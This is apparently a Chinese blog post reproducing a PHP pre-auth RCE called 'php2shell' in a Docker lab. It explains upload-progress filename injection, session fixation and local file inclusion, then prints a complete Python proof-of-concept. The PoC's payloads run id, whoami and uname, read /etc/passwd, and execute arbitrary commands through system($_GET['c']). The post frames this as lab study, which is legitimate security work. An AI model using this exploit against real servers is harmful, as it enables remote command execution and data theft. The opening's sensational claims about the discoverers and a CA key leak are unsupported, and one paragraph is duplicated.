php2shell复现学习

php2shell复现

就在昨天,三名印籍俄裔黑客安东·尤丁采夫、尼基塔·布亚诺夫、维亚切斯拉夫·巴兰尼科夫发布两个php的rce漏洞,8个nodejs漏洞,还有用一个字符串作为中间证书的私钥,造成严重的ca泄露引发go rust等语言的安全问题,安全圈引发剧烈地震

8bfb4e05da9f5ef535e1036b76036e1e

项目 内容
漏洞名 php2shell
CVE CVE-2026-109618、CVE-2026-109619
类型 无需认证(pre-auth)的远程代码执行(RCE)
评分 CVSS 4.0 9.2(严重)
影响版本 PHP 5.4.0 ~ 8.5.11
修复版本 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(2026-10-21 发布)
根因位置 PHP 核心的 session.upload_progress 处理器

在github上找到一个这两个漏洞的复现靶场

kuwoo/php2shell-Lab: 🐘 php2shell(CVE-2026-109618 / CVE-2026-109619)复现靶场 — session.upload_progress 文件名注入 + LFI → RCE,Docker 一键启动,附中文原理分析与 PoC

克劳德大人的恩情还不完

1
2
git clone https://github.com/kuwoo/php2shell-Lab.git
cd php2shell-Lab
1
2
3
4
5
6
7
8
# 1. 构建并启动靶场(唯一的服务,8082 端口)
docker compose up -d --build

# 2. 运行 PoC(默认跑「展示载荷」,一次证明命令执行 + 身份 + 系统信息 + 读文件)
python poc.py --target http://localhost:8082

# 3. 只跑一条自定义命令
python poc.py --target http://localhost:8082 --cmd "id"

image-20261022224820563

ohhhh,怎么直接实现了,我好像什么都没有做

前置知识

PHP 会话是怎么存文件的

PHP 默用文件保存会话。假设会话 ID 是 abc123,默认配置下会话数据存在:

1
/tmp/sessions/sess_abc123

文件内容是 键名|序列化数据,例如:

1
login_user|s:5:"admin";csrf_token|s:32:"...";

关键点:这个文件是普通文本文件。只要你知道会话 ID,就能拼出它的完整路径。

session.upload_progress 是干嘛的

从 PHP 5.4 开始,PHP 内置了「上传进度」功能(默认开启):

  • 当收到一个 multipart 表单上传时,PHP 会在会话里记录上传进度;
  • 前端可以轮询这个进度来显示进度条。

它往会话里写的数据长这样(简化):

1
2
3
4
upload_progress_<名字>|a:5:{
start_time; content_length; bytes_processed; done;
files: [ { field_name, name, tmp_name, error, ... } ]
}

其中:

  • upload_progress_<名字> 里的「名字」来自表单里的 PHP_SESSION_UPLOAD_PROGRESS 字段;
  • files[].name 就是你上传文件的原始文件名。

漏洞根因

一句话:

PHP 把「上传文件的文件名」当成普通文本,原样写进了会话文件,没有做任何过滤。

而会话文件是 PHP 会去解析执行的普通文本。于是:

  • 如果文件名是 shell.php,没事;
  • 如果文件名是 <?php system('id'); ?>,这段 PHP 代码就被原样写进了会话文件。

一旦有办法让 PHP 去「执行」这个会话文件(比如应用存在 LFI 并 include 了它),里面的 <?php ... ?> 就会被当成 PHP 代码执行 → 远程代码执行。

这解释了为什么叫 php2shell:把 php 会话文件变成一个 shell。

正常情况下 PHP 只从 Cookie 里取会话 ID(session.use_only_cookies=1,这是默认且是安全配置)。攻击者没法给受害者设 Cookie,似乎就固定不了会话 ID。

但 php2shell 的一个关键点是:session.upload_progress 处理器会接受 POST body 里直接传的 PHPSESSID,从而绕过 use_only_cookies。

效果就是会话固定(session fixation):

  • 攻击者在请求 body 里写 PHPSESSID=abc123;
  • PHP 用 abc123 作为会话 ID 写进度;
  • 攻击者提前知道会话文件路径就是 /tmp/sessions/sess_abc123;
  • 于是可以直接用 LFI 去包含它。

poc.py 里为了稳妥,body 和 Cookie 都带了同一个 PHPSESSID(双保险)。


正常情况下 PHP 只从 Cookie 里取会话 ID(session.use_only_cookies=1,这是默认且是安全配置)。攻击者没法给受害者设 Cookie,似乎就固定不了会话 ID。

但 php2shell 的一个关键点是:session.upload_progress 处理器会接受 POST body 里直接传的 PHPSESSID,从而绕过 use_only_cookies。

效果就是会话固定(session fixation):

  • 攻击者在请求 body 里写 PHPSESSID=abc123;
  • PHP 用 abc123 作为会话 ID 写进度;
  • 攻击者提前知道会话文件路径就是 /tmp/sessions/sess_abc123;
  • 于是可以直接用 LFI 去包含它。

poc.py 里为了稳妥,body 和 Cookie 都带了同一个 PHPSESSID(双保险)。

关键细节二:cleanup 与竞态窗口

session.upload_progress.cleanup 控制「上传结束后要不要清掉进度数据」:

  • 默认 cleanup=On:上传一结束,PHP 就把 upload_progress_* 这段从会话里删掉。也就是说注入是转瞬即逝的。
  • 真实攻击者怎么应对?打竞态:传一个很大的文件(上传慢),在文件还在上传、进度数据还没被清理的窗口里,用并发请求去包含会话文件。

本靶场为了让你每次都能确定性成功,把 cleanup 设成了 Off(见 php.ini),这样注入会一直留在会话文件里,不用打竞态。原理和真实攻击完全一致,只是把「需要竞争」简化成了「必然命中」。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Chain A 演示:session.upload_progress 文件名注入 + LFI → RCE
对应 CVE-2026-109618 / 109619 的第一条攻击链(参考 ikow/php2shell-poc)。

流程:
1. multipart POST:用 body 里的 PHPSESSID 固定会话 ID(绕过 use_only_cookies),
并在上传文件名里塞 PHP 代码;
2. PHP 的 upload_progress 把文件名原样写进会话文件 /tmp/sessions/sess_<id>;
3. 用目标站的 LFI 包含该会话文件 → 执行注入的 PHP → 命令执行。

端口:
8082 → php2shell(Apache 以 www-data 运行)→ RCE 得到 www-data

用法:
python poc.py --target http://localhost:8082 # 默认跑「展示载荷」
python poc.py --target http://localhost:8082 --cmd "id" # 只跑一条自定义命令

说明:
- php2shell 本身给的是 web 运行用户(通常是 www-data),不直接给 root;
从 www-data 到 root 需要额外的本地提权,不在本靶场范围(见 docs/原理分析.md)。
- 默认载荷用 PHP_EOL 输出换行,在「终端」里看最清楚;
想在「浏览器」里看换行,把 PHP_EOL 换成 '<br>',或用 <pre> 包住输出(见 docs/操作手册.md)。
- 仅用于本地靶场 / 授权测试。

(English / 英文)
Chain A demo: session.upload_progress filename injection + LFI → RCE.
CVE-2026-109618 / 109619, first chain (based on ikow/php2shell-poc).

python poc.py --target http://localhost:8082 # showcase payload
python poc.py --target http://localhost:8082 --cmd "id" # one custom command

- php2shell gives the web user (usually www-data), not root; going to root
needs a separate local privilege escalation (see docs/analysis-en.md).
- Local lab / authorized testing only.
"""
import argparse
import random
import string
import urllib.parse
import urllib.request

# 默认「展示载荷」:一次证明 命令执行 + 身份 + 系统信息 + 敏感文件读取。
# shell_exec() 返回字符串,方便加标签排版;die() 掐掉会话文件后半段序列化垃圾。
SHOWCASE_PAYLOAD = (
"<?php "
"echo '=== ID ===' . PHP_EOL; echo shell_exec('id'); "
"echo '=== WHOAMI ===' . PHP_EOL; echo shell_exec('whoami'); "
"echo '=== UNAME ===' . PHP_EOL; echo shell_exec('uname -a'); "
"echo '=== PASSWD ===' . PHP_EOL; echo shell_exec('head -5 /etc/passwd'); "
"die(); ?>"
)


def main():
ap = argparse.ArgumentParser(description="php2shell Chain A 演示")
ap.add_argument('--target', default='http://localhost:8082',
help='目标服务地址,默认 http://localhost:8082')
ap.add_argument('--cmd', default=None,
help='自定义命令,例如 "id";不传则跑默认展示载荷')
args = ap.parse_args()
base = args.target.rstrip('/')

# 传了 --cmd 就用「单命令载荷」,否则用上面的展示载荷。
# 单命令载荷从 URL 的 c 参数取命令,所以 --cmd 可以传 "id"、"whoami" 等任意命令。
if args.cmd:
payload = "<?php echo '===RCE==='; system($_GET['c']); die(); ?>"
marker = '===RCE==='
else:
payload = SHOWCASE_PAYLOAD
marker = '=== ID ==='

# 随机会话 ID(26 位,字符集匹配 PHP 默认会话 ID)
sid = ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))

# 构造 multipart 请求体:body 里的 PHPSESSID 用来固定会话 ID,
# filename 里塞 payload——这就是被写进会话文件的那段 PHP 代码。
b = "----php2shellchain"
body = (
f"--{b}\r\n"
'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n' + sid + '\r\n'
f"--{b}\r\n"
'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nchainA\r\n'
f"--{b}\r\n"
'Content-Disposition: form-data; name="f"; filename="' + payload + '"\r\n'
'Content-Type: text/plain\r\n\r\nZ\r\n'
f"--{b}--\r\n"
).encode()

# 1) 注入:body 与 Cookie 都带固定 SID,触发 upload_progress 把文件名写入会话文件
req = urllib.request.Request(
base + '/index.php', data=body,
headers={
'Content-Type': f'multipart/form-data; boundary={b}',
'Cookie': f'PHPSESSID={sid}',
},
)
with urllib.request.urlopen(req, timeout=10):
pass
print(f"[1] 已注入,会话文件应为 /tmp/sessions/sess_{sid}")

# 2) 触发:用 LFI 包含会话文件(传了 --cmd 就顺带传 c 参数)
url = f"{base}/index.php?page=/tmp/sessions/sess_{sid}"
if args.cmd:
url += f"&c={urllib.parse.quote(args.cmd)}"
print(f"[2] LFI 包含并执行: {url}")
with urllib.request.urlopen(url, timeout=10) as r:
raw = r.read().decode(errors='replace')

# 3) 剥掉会话文件的序列化前缀,只显示干净的命令输出
print(raw.split(marker, 1)[-1])


if __name__ == '__main__':
main()

为了让「一键复现」,本靶场做了两处简化(都不改变漏洞本质):

  1. session.upload_progress.cleanup = 0(php.ini)——让注入确定性留存,省去打竞态的并发脚本(见第 6 节)。
  2. 故意提供一个 LFI 端点(app/index.php 里的 ?page=... → include)——因为 Chain A 的前提就是应用要有 LFI。

这两点都已在代码和 README 里标注,避免读者误以为「真实环境也这么简单」。

Contents